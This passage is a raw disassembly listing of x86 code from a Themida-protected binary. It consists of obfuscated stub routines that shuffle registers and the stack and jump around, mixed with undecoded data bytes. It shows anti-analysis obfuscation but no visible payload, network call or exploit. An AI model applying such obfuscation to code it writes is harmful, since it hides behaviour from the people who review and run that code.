		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55CBDF
; ---------------------------------------------------------------------------
aFqs1		db 'fQé1Í',0
		db 0
; ---------------------------------------------------------------------------


loc_55ED19:				; CODE XREF: Themida_:00565726j
		and	eax, ebx
		pop	ebx
		jmp	loc_56DD72
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 81000000h, 2C5h, 39B6800h, 2C890000h, 2474FF24h, 48F5D04h
		dd 24D35C24h, 69E99C24h
		db 0FBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ED47:				; CODE XREF: Themida_:00566D98j
		sub	ebp, 33092C7Eh
		pop	esi
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_56E9F6
; ---------------------------------------------------------------------------
		dw 0F301h
		dd 8EEB815Eh, 1238F37h,	8EC381C3h, 81238F37h, 0DB091CEBh
		dd 2434FF5Fh, 4C48158h,	0E9000000h, 11983h, 0C8BD02Ch
		dd 4C48324h, 0FFE0FAE9h, 0FEF2B0FFh, 0D9E952C8h, 8B000047h
		dd 0C4812404h, 4, 7F2D68h, 243C8900h, 0EE2DE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EDB6:				; CODE XREF: Themida_:0056474Cj
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_56D64B
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4C681h, 0C6830000h, 24348704h, 0C789E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EDE9:				; CODE XREF: Themida_:00566AC1j
		push	edi
		jmp	loc_565B5D
; ---------------------------------------------------------------------------
		db 52h
		dd 4EC81h, 34890000h, 5AA5BE24h, 0E95508F9h, 0B37Ah
; ---------------------------------------------------------------------------


loc_55EE04:				; CODE XREF: Themida_:0055E922j
		mov	[esp], eax
		push	esp
		jmp	loc_5661BF
; ---------------------------------------------------------------------------
		db 0BFh, 12h, 21h
		dd 0EFC14A7Ah, 0CCC78102h, 81461504h, 446168CFh, 9C78120h
		dd 89ADC55Ah, 243C8BF9h, 4C481h, 0E1810000h, 68675821h
		dd 0F4BCE9h, 3AFFBB00h,	0EBC125C4h, 6561E908h, 0E95F0000h
		dd 7C3Bh
; ---------------------------------------------------------------------------


loc_55EE50:				; CODE XREF: Themida_:0056576Bj
		add	ecx, 0FB4566Eh
		jmp	loc_56C352
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0E0A8E924h, 34FF0000h, 0EC815824h, 4, 89240C89h
		dd 5BE56E1h, 0C1391639h, 0CE8103E6h, 0A206806h,	0FFDADAE9h
		dd 5EF389FFh, 0A4E9D829h, 0BA0000A1h, 4, 148BD301h, 4C48124h
		dd 0E9000000h, 7B66h, 0E49EB81h, 0D9013410h, 83241C8Bh
		dd 515704C4h, 76F9E9h, 4BCA0500h, 0F0011E4Dh, 65E95756h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EECB:				; CODE XREF: Themida_:0056A256j
		pop	ebx
		sub	ecx, 1
		and	ecx, 1CFD1658h
		push	edi
		mov	edi, 16F01D7Ah
		jmp	loc_56524B
; ---------------------------------------------------------------------------
		dd 5641BF57h, 814F4BD5h, 0D55644F7h, 14F7E94Bh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55EEF2:				; CODE XREF: Themida_:0056DD17j
		mov	[esp], edx
		mov	edx, 17D855FCh
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_56696A
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8324348Bh, 61E904ECh, 1000024h, 2C3359CDh, 242C3124h
		dd 8B242C33h, 0D3662424h, 0E99C242Ch, 0FFFFD4F6h, 4BAh
		dd 0F607E900h, 0EC68FFFFh, 8900007Bh, 0E2B9240Ch, 55749310h
		dd 796330BDh, 0E584BB45h, 0EB291FDDh, 59CB295Dh, 9B7FE9h
		dd 41C2C00h, 0E7EDE9DAh, 0E9520000h, 0E0AEh, 0B1E9EB00h
		dd 0D200000Eh, 0E99C243Ch, 0FFFFD4AAh, 4C381h, 1C870000h
		dd 24248B24h, 10C68h, 24348900h, 0C6815E54h, 4,	17F7E950h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55EF9A:				; CODE XREF: Themida_:0056C39Dj
		shl	edx, 1
		push	esi
		push	624Dh
		mov	[esp], edi
		push	0EB514D7h
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_563A5C
; ---------------------------------------------------------------------------


loc_55EFBE:				; CODE XREF: Themida_:00569BADj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	eax
		mov	eax, 4B8B31F4h
		xor	eax, 4B8B31F0h
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56CA5D
; ---------------------------------------------------------------------------


loc_55EFE6:				; CODE XREF: Themida_:005705B9j
		sub	esp, 4
		jmp	loc_56BDC7
; ---------------------------------------------------------------------------


loc_55EFEE:				; CODE XREF: Themida_:0055F5F4j
		not	ax
		jmp	loc_567705
; ---------------------------------------------------------------------------
		dw 6855h
		dd 24F43B4Fh, 46F5815Dh, 897F1870h, 0C1E95DEBh
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F00B:				; CODE XREF: Themida_:00560094j
		push	esi
		mov	esi, esp
		jmp	loc_56E3F3
; ---------------------------------------------------------------------------


loc_55F013:				; CODE XREF: Themida_:0056F0C4j
		xchg	edx, [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		push	eax
		push	4
		pop	eax
		add	ebx, eax
		pop	eax
		jmp	loc_5672A3
; ---------------------------------------------------------------------------


loc_55F029:				; CODE XREF: Themida_:0056F8CAj
		xchg	esi, [esp]
		pop	esp
		xor	ebp, [esp]
		jmp	loc_55FECC
; ---------------------------------------------------------------------------


loc_55F035:				; CODE XREF: Themida_:00567383j
		mov	edx, eax
		jmp	loc_55CF56
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 4, 8AE9EA29h, 5FFFFD5h, 1E9D0AA5h, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 0D247E9h,	4C78100h, 1F936F7h
		dd 23E95FF9h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F073:				; CODE XREF: Themida_:0055CBE1j
		push	eax
		mov	al, 5
		mov	dl, al
		pop	eax
		dec	dl
		not	dl
		sub	dl, 47h
		jmp	loc_56788E
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 10EBDE9h, 24248900h,	4240483h, 1CADE959h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55F09A:				; CODE XREF: Themida_:0055DFE5j
		xchg	edx, [esp]
		jmp	loc_56A4A5
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 68E768h, 24048900h, 0B09FB252h, 6DFAE934h, 14F70000h
		dd 0E9555E24h, 0C6B8h, 10353558h, 295965C2h, 0D9D7E9C5h
		dd 8951FFFFh, 4C181E1h,	81000000h, 4C1h, 0D3EDE900h, 489FFFFh
		dd 4B824h, 0C1290000h, 0CC7E9h,	2EEE8100h, 0F7485006h
		dd 0ADF681DEh, 0E9E11198h, 49E0h, 0BB53E589h, 59BB00EAh
		dd 0FFFFC381h, 0E3C1FFFFh, 0E9D6E904h, 0DEF60000h, 8004E6C0h
		dd 0F528EAC6h, 7ECEE9h,	243C8900h, 8904EC83h, 0B951241Ch
		dd 2A3F01F5h, 0C5E9CB89h, 5CFFFFD3h, 81D6F74Eh,	4ECh, 24148900h
		dd 0D9D991BAh, 0E9D60182h, 4B7Eh, 76F12558h, 0E9561011h
		dd 4CDDh, 4C2815Ah, 0E9000000h,	856Bh, 0A5E9D1F6h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F17B:				; CODE XREF: Themida_:00565B1Cj
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_56FE1B
		push	dword ptr [edi+1Ch]
		jmp	loc_55FC73
; ---------------------------------------------------------------------------


loc_55F194:				; CODE XREF: Themida_:00561160j
		sub	esi, 0E089D05Eh
		jmp	loc_570B51
; ---------------------------------------------------------------------------
		db 59h
		dd 0F30550Dh, 0FFFF0511h, 0FCE9FFFFh
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55F1AF:				; CODE XREF: Themida_:0055C677j
		push	edx
		jmp	loc_565DB1
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0BEh
		dd 5A484742h, 188C685Bh, 4890000h, 8EBD5524h, 0B871B827h
		dd 0AEFB1F8Dh, 2C8BE801h, 0E7895724h, 481FE9h, 4A9B800h
		dd 0E8C12EF4h, 0B9B3502h, 6DE978E4h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F1EF:				; CODE XREF: Themida_:00570B53j
		pop	esi
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_56C29E
; ---------------------------------------------------------------------------


loc_55F1FA:				; CODE XREF: Themida_:00560B1Aj
		mov	ebx, 30AF33E7h
		xor	ebx, 30BB3CEAh
		sub	edi, ebx
		pop	ebx
		push	eax
		mov	eax, 42FF6E18h
		sub	edi, eax
		pop	eax
		jmp	loc_56FCBD
; ---------------------------------------------------------------------------


loc_55F216:				; CODE XREF: Themida_:0055E52Dj
		add	edx, ebx
		jmp	loc_56321C
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 2404FF66h, 0D1F8E99Ch, 2958FFFFh, 241C8BDAh,	4C481h
		dd 0E9590000h, 0FFFFD1E6h, 0B151535Ch, 59CF8800h, 0E95BF828h
		dd 0A4ABh
; ---------------------------------------------------------------------------


loc_55F24C:				; CODE XREF: Themida_:00569BDEj
		xor	edi, 27EAF6B4h
		add	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_56BC04
; ---------------------------------------------------------------------------
		db 58h
		dd 4A06EAC1h, 0B9CAF281h, 0D30100EFh, 9868575Ah, 89000038h
		dd 1E68241Ch, 0FF2F0625h, 525B2434h, 0C281E289h, 4, 7528E9h
		dd 28A3B900h, 0C8012A7Dh, 81240C8Bh, 4C4h, 2BFF2D00h, 8953ABAAh
		dd 4C381E3h, 0E9000000h, 4028h,	2807B850h, 0C3317BB3h
		dd 0E92434FFh, 0B939h, 4BF5758h, 1000000h, 5DE95FF8h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F2D3:				; CODE XREF: Themida_:0056C113j
		xchg	edx, [esp]
		jmp	loc_56D703
; ---------------------------------------------------------------------------
a313LHE		db '[3,$1,$3,$‹$$hÕe',0
		dd 0E094E900h, 0E8C1FFFFh, 7E0C108h, 8245B935h,	0F12D4074h
		dd 1009ACFh, 2209E9C7h,	13E90000h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F30F:				; CODE XREF: Themida_:00567DEDj
		mov	edi, 1B6C6A83h
		jmp	loc_55CD81
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 4
		dd 5C240487h, 0CD9FE9h,	4C48300h, 6A50E957h, 0C2290000h
		dd 2019C281h, 87582992h, 35E92414h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F33F:				; CODE XREF: Themida_:00568B26j
		neg	esi
		jmp	loc_570553
; ---------------------------------------------------------------------------
		dw 405h
		dd 0E9000000h, 42D3h
; ---------------------------------------------------------------------------


loc_55F350:				; CODE XREF: Themida_:00567171j
		mov	edi, 4
		jmp	loc_56F0AE
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 64F2E924h, 875E0000h, 248B2414h, 242C8924h, 242C8B54h
		dd 5F1668h, 0E17FE900h,	0CF08FFFFh, 52240C8Bh, 0FFF636E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F385:				; CODE XREF: Themida_:00566EE9j
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		sub	edi, 29871AB6h
		add	edi, edx
		jmp	loc_56D4B6
; ---------------------------------------------------------------------------


loc_55F39D:				; CODE XREF: Themida_:0056BE25j
		xor	edi, ebp
		pop	ebp
		and	ebp, edi
		pop	edi
		add	ebp, 0DFDFB3FFh
		push	ebp
		pop	ebx
		pop	ebp
		push	42A7h
		mov	[esp], eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56B920
; ---------------------------------------------------------------------------


loc_55F3C2:				; CODE XREF: Themida_:0056F3F4j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56D033
; ---------------------------------------------------------------------------
		db 0F7h
aSD_1		db 'ÐéØd',0
		align 2
		dw 895Ch
		dd 4832424h, 348B0424h,	0EC815624h, 4, 24048F54h, 4240483h
		dd 9FE9535Eh, 5E000097h, 5C241C87h, 32243C30h, 3C30243Ch
		dd 0D01CE924h, 8359FFFFh, 0E95704C4h, 0C53Bh, 0ED81CD29h
		dd 44B95504h, 0FEDC581h, 0E95910CFh, 0A022h, 0E8266ABBh
		dd 0FE86E907h, 0F901FFFFh, 4C1815Fh, 87000000h,	835C240Ch
		dd 1C8904ECh, 21F5BB24h, 0E3C13A7Bh, 4EBC103h, 0C039E94Bh
		dd 0D0310000h, 0F4C2815Ah, 0E9430A4Ah, 12D0h, 0E924248Bh
		dd 9A0Fh, 186EBB53h, 59535049h,	1C1815Bh, 81000000h, 5140B6F1h
		dd 0FFF1811Ch, 53302612h, 1A9EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F489:				; CODE XREF: Themida_:00566B4Aj
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5688DA
; ---------------------------------------------------------------------------


loc_55F494:				; CODE XREF: Themida_:00563186j
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 91461BBh
		or	ecx, 10370EEFh
		neg	ecx
		and	ecx, 61AD3991h
		inc	ecx
		sub	ecx, 7B4A6A7Dh
		xor	ecx, 0CA338B62h
		jmp	loc_5690CE
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 89572404h, 4C781E7h, 83000000h, 3C8704C7h
		dd 0EC815C24h, 4, 56240C89h, 0C681E689h, 4, 5597E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F4EE:				; CODE XREF: Themida_:00568605j
		mov	ebp, 7F3F6F28h
		jmp	loc_568D05
; ---------------------------------------------------------------------------
		dd 4C681h, 0BBE90000h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F503:				; CODE XREF: Themida_:00565562j
		push	dword ptr [esp]
		jmp	loc_569DEC
; ---------------------------------------------------------------------------
		db 81h
		dd 0E5661CC1h, 37C18160h, 0FF7D4D1Eh, 50582434h, 5553E089h
		dd 52590FBDh, 59C5BB73h, 0EB317399h, 4F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F531:				; CODE XREF: Themida_:00565835j
		push	edx
		neg	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 0F5758E04h
		add	eax, edx
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56FFB2
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0EF4C49ACh, 295EF001h, 28BB53F8h, 815A7C6Dh,	0F7256F3h
		dd 5BD8297Bh, 0FED3E95Fh, 0C8280000h, 74E90B04h, 5E0000CDh
		dd 4981ED81h, 0DD0149C1h, 1E84E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F589:				; CODE XREF: Themida_:0055CF28j
		add	esp, 4
		push	edi
		jmp	loc_5695F3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aSts		db '$STé×Ð',0
		align 10h
		dd 4BF57h, 80E90000h, 0C1000059h, 0C52D06E8h, 81004F3Dh
		dd 96042444h, 0E9710C53h, 0EC4h
; ---------------------------------------------------------------------------


loc_55F5C0:				; CODE XREF: Themida_:0055D34Ej
		add	esp, 2
		xor	bp, 56ECh
		add	bp, 0FFFFh
		and	bp, 6E3Bh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	ax, 7A64h
		shl	ax, 7
		inc	ax
		not	ax
		jmp	loc_55EFEE
; ---------------------------------------------------------------------------
aPrJWs		db 'PRºJ"{wéÑÑ',0
		dd 0D3E38100h, 8164FA6Dh, 40A536EBh, 0D7E8E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F616:				; CODE XREF: Themida_:00564A2Bj
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		jmp	loc_571119
; ---------------------------------------------------------------------------


loc_55F621:				; CODE XREF: Themida_:00562D84j
		xor	ecx, 704A41FFh
		add	ecx, 0B6F703C5h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5692A5
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 0B886h, 82E9C301h, 2D00009Fh, 7F1C28ECh
		dd 4EC835Dh, 0BE243489h, 6C924F63h, 0D2522C05h,	19B7E932h
		dd 0C8B0000h, 4C48324h,	8904EC83h, 0D3E9242Ch, 89FFFFCFh
		dd 3AB62414h, 8904EC83h, 7B02404h, 33347F04h, 34FFC620h
		dd 24048B24h, 4C481h, 0D0E90000h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F69F:				; CODE XREF: Themida_:0055D10Aj
		mov	ebp, [esp]
		jmp	loc_56C8A6
; ---------------------------------------------------------------------------
		db 89h
		dd 59C889E9h, 5D2434FFh, 4C481h, 68530000h, 3F63h, 0E9243C89h
		dd 1331h, 0A16856ADh, 8B7D8647h, 8FE92434h, 81000106h
		dd 4C4h, 26C6800h, 4890000h, 6A90B824h,	28680B98h, 89000075h
		dd 94BA2414h, 310B986Ah, 0EE815AD0h, 1A684CAAh,	3AE4C681h
		dd 0C6017094h, 161368h,	241C8900h, 943AE4BBh, 5BDE2970h
		dd 6F168h, 243C8900h, 684CAABFh, 5FFE011Ah, 0CFBA5258h
		dd 425D5373h, 6FC7C281h, 0ABE95C5Ch, 0B1000072h, 66CE3026h
		dd 80D6F659h, 686624CEh, 34280000h, 24348A24h, 10C87E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F751:				; CODE XREF: Themida_:0056E4B1j
		pop	edi
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56F7BB
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 2FE8FF92h, 0D15FFE01h, 1790E9EEh, 0F8000000h, 2CD0005Bh
		dd 0A60C5A24h, 0FFD7ACE9h, 240483FFh, 38CCE904h, 56500000h
		dd 0AFC2E9h, 81E68900h,	4C6h, 4B85000h,	29000000h, 0FF5658C6h
		dd 5E042474h, 534CE9h, 7EFC100h, 1D25E9h, 50806800h, 79E90000h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F7BF:				; CODE XREF: Themida_:0055C475j
		mov	edx, edi
		pop	edi
		pop	ebx
		jmp	loc_5624F1
; ---------------------------------------------------------------------------
		dd 4184EB81h, 34FF3B30h, 89505824h, 405E0h, 0C0830000h
		dd 0F806E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F7E2:				; CODE XREF: Themida_:0056247Fj
		add	esp, 4
		dec	ebx
		shl	ebx, 1
		jmp	loc_562FE6
; ---------------------------------------------------------------------------
		db 68h,	50h, 15h
		dd 0C890000h, 0C8B5424h, 4C48124h, 81000000h, 4C1h, 4E98300h
		dd 5C240C87h, 0E9241C89h, 0EA7Eh
; ---------------------------------------------------------------------------


loc_55F814:				; CODE XREF: Themida_:0056E9FCj
		mov	edx, [esp]
		push	ebp
		jmp	loc_55D3E8
; ---------------------------------------------------------------------------
a1S		db '1Îé-Þ',0
		align 4


loc_55F824:				; CODE XREF: Themida_:00567B8Cj
		push	ebp
		push	63017833h
		pop	ebp
		shr	ebp, 1
		shl	ebp, 5
		jmp	loc_56C04D
; ---------------------------------------------------------------------------
		db 89h,	0CDh, 59h
		dd 4246C81h, 49397E32h,	4244481h, 462D3CA6h, 4246C01h
		dd 4246C81h, 462D3CA6h,	8904EC83h, 0E9512434h, 52BFh, 7685F5Bh
		dd 89000052h, 73B82404h, 536DDE64h, 943205BBh, 0CD3AE93Fh
		dd 0C4830000h, 5EDC104h, 10D9BE9h, 0BE565300h, 3BF91103h
		dd 0FFD2BAE9h, 31C831FFh, 335BE9C1h, 835D0000h,	2C8904ECh
		dd 13D1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F8A6:				; CODE XREF: Themida_:00565B6Fj
		add	ebx, 60443465h
		push	664h
		mov	[esp], ecx
		mov	cl, 0
		push	3330h
		mov	[esp], eax
		mov	ah, 5Bh
		add	cl, ah
		pop	eax
		push	edx
		mov	dh, 37h
		push	615Ch
		mov	[esp], ecx
		jmp	loc_56DFE4
; ---------------------------------------------------------------------------
		db 5Bh
		dd 89F28952h, 815E5AD7h, 8A27F6EFh, 4EC8108h, 89000000h
		dd 64BD242Ch, 8175B76Fh, 3F0926EDh, 5DEF0903h, 6AF0BA52h
		dd 0D7010D8Fh, 3CEF815Ah, 524C8601h, 1BE56h, 0F2890000h
		dd 5AD7015Eh, 6970EF81h, 0FD013509h, 107A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F921:				; CODE XREF: Themida_:0056420Aj
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_570D2E
; ---------------------------------------------------------------------------
		dd 5214B5B8h, 14B73547h, 0C3895556h, 0E9D82958h, 0ADE6h
		dd 4BF57h, 0FD010000h, 0F2CEE95Fh, 14F7FFFFh, 0EE815E24h
		dd 0E383975h, 897AE9h, 242C3300h, 6624248Bh, 0E924048Bh
		dd 7C67h, 0D224248Bh, 0E99C2424h, 0FFFFCAA6h, 0BE56D901h
		dd 1BBA7BA8h, 6964E9h, 0C8B6600h, 0EC815524h, 4, 81242489h
		dd 42404h, 48E90000h
		db 0B3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F9A3:				; CODE XREF: Themida_:0056DEC9j
		mov	ecx, esp
		jmp	loc_56DF85
; ---------------------------------------------------------------------------


loc_55F9AA:				; CODE XREF: Themida_:00562F76j
		pop	esp
		sub	ecx, edi
		pop	edi
		push	eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_563539
; ---------------------------------------------------------------------------
		dd 0E95EF189h, 0FFFFEA4Eh, 8010C280h, 0EA8098E2h, 5AD000F6h
		dd 188EE95Ah, 5C680000h, 8900001Bh, 7682434h, 0E9000057h
		dd 0E9B1h, 8EE9C688h, 3300002Bh, 0E95C2414h, 0FA66h, 592434FFh
		dd 4C481h, 1BE90000h, 0BAFFFFCAh, 165830A1h, 315EF201h
		dd 0DF215AD3h, 81241C8Bh, 4C4h,	52286800h, 30E90000h, 5D00009Eh
		dd 0FF3ABD55h, 0C381FF34h, 25012E44h, 76E9EB01h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FA3B:				; CODE XREF: Themida_:00568033j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_567C57
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 7141AA2Dh, 0E9D8012Eh, 9EF0h
; ---------------------------------------------------------------------------


loc_55FA58:				; CODE XREF: Themida_:00566B15j
		mov	edx, 6C03409Ah
		mov	edi, edx
		pop	edx
		not	edi
		neg	edi
		shr	edi, 2
		jmp	loc_567E0F
; ---------------------------------------------------------------------------
		dd 749C68h, 242C8900h, 42474FFh, 0E9242C8Bh, 5D01h, 24048B66h
		dd 0FFDE46E9h, 0EF8147FFh, 41317CF9h, 68h, 242C8100h, 0E295CE3h
		dd 81243C29h, 5CE32404h, 9CE90E29h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FAAB:				; CODE XREF: Themida_:0055C870j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55C422
; ---------------------------------------------------------------------------


loc_55FAB4:				; CODE XREF: Themida_:0055CC24j
		mov	[esp], ebx
		mov	bl, ah
		push	edx
		mov	dl, bl
		mov	ch, dl
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56EE05
; ---------------------------------------------------------------------------


loc_55FAD0:				; CODE XREF: Themida_:005698F6j
		add	edx, 4
		jmp	loc_5660FC
; ---------------------------------------------------------------------------


loc_55FADB:				; CODE XREF: Themida_:0056C4A4j
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_568772
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 39DCACEAh, 5AD0011Bh, 1993BD55h, 99E9060Bh
		dd 570000EDh, 5D6EEDBFh, 24946857h, 0C890000h, 133FB924h
		dd 0C1813EBEh, 40DC57B0h, 0CB946855h, 2C8BB6F5h, 26A6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FB2A:				; CODE XREF: Themida_:0056C5FAj
		mov	[esp], ebx
		add	dword ptr [esp], 55341889h
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	74C25400h
		pop	esi
		push	ebp
		jmp	loc_56F42B
; ---------------------------------------------------------------------------
		db 29h
		dd 0E3815AD3h, 33490E31h, 4EBC143h, 0EB81D3F7h,	90FD3FC9h
		dd 815BDA89h, 9D78ECF2h, 0A2CA8177h, 42740C15h,	1A38EA81h
		dd 0ED812C30h, 2E6B0D22h, 0C581D529h, 2E6B0D22h, 9DBAE95Ah
		dd 42D0000h, 87000000h,	248B2404h, 240C8924h, 0B1991B9h
		dd 59CD2906h, 4327E9h, 8734FF00h, 5B3B6853h, 0C890000h
		dd 0BD555324h, 0CC16CC5h, 0AC7C47BBh, 8BEB316Dh, 0C483242Ch
		dd 47A4B904h, 0D9315C39h, 877AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FBCD:				; CODE XREF: Themida_:00567736j
		mov	eax, [esp]
		add	esp, 4
		sub	edx, esi
		jmp	loc_5623B3
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 70h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FBE3:				; CODE XREF: Themida_:0056010Bj
		mov	edi, 762E560Ch
		inc	edi
		sub	edi, 4B7C5E40h
		jmp	loc_560F5A
; ---------------------------------------------------------------------------
		dd 0F3E95553h, 52000072h, 2C25B4BAh, 81DAF76Ah,	6C2634C2h
		dd 5AD7319Fh, 0C5DCE9h,	81E38900h, 4C3h, 4EB8100h, 87000000h
		dd 248B241Ch, 81DDE924h, 0B9660000h, 2D68571Eh,	0E9000028h
		dd 719Fh, 815AD601h, 4EEh, 74FF5600h, 2EE90424h, 5900004Fh
		dd 698EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FC51:				; CODE XREF: Themida_:00565CADj
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_56DD13
; ---------------------------------------------------------------------------
		db 1, 0EEh, 0E9h
		dd 197Bh, 0D0E9EA01h
		db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FC73:				; CODE XREF: Themida_:0055F18Fj
		add	dword ptr [esp], 230608Ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	6FEA3012h
		pop	edi
		jmp	loc_566B04
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812414h, 4, 0DF69E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FCAD:				; CODE XREF: Themida_:0056ED0Bj
		push	edx
		mov	edx, 6C817E7Ah
		dec	edx
		sub	edx, 28C568CEh
		neg	edx
		dec	edx
		jmp	loc_565F80
; ---------------------------------------------------------------------------


loc_55FCC2:				; CODE XREF: Themida_:00565998j
		push	ebp
		not	dword ptr [esp]
		jmp	loc_56236C
; ---------------------------------------------------------------------------


loc_55FCCB:				; CODE XREF: Themida_:0056566Ej
		pop	esp
		or	eax, eax
		jz	loc_56EA6F
		push	ecx
		mov	ecx, 28h
		push	ebx
		mov	ebx, 11BA4B85h
		add	ebx, 12DDFB76h
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 169262A0h
		add	ecx, edi
		jmp	loc_566D7A
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0BE5D0FAEh, 1C8BDE01h, 4C48124h, 0E9000000h,	0FFFFDFCAh
		dd 5E21C281h, 0EA8157A3h, 84B7CBBh, 11107E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FD21:				; CODE XREF: Themida_:0056D57Ej
		pop	edx
		jmp	loc_56D230
; ---------------------------------------------------------------------------


loc_55FD27:				; CODE XREF: Themida_:0056E3B9j
		add	dword ptr [esp], 4
		jmp	loc_56325C
; ---------------------------------------------------------------------------
		db 81h
		dd 0A40D17C2h, 0E9EA0169h, 0ED02h
; ---------------------------------------------------------------------------


loc_55FD40:				; CODE XREF: Themida_:00563217j
		shl	edi, 5
		or	edi, 675C0CDEh
		or	edi, 5B9D38A2h
		push	esi
		mov	esi, 7FF00610h
		jmp	loc_570062
; ---------------------------------------------------------------------------
		dw 4C68h
		dd 89000008h, 9BB5240Ch, 8017B652h, 0B8E972CEh,	81000084h
		dd 1710C2C7h, 5FFB8928h, 31256853h, 14890000h, 6F53BA24h
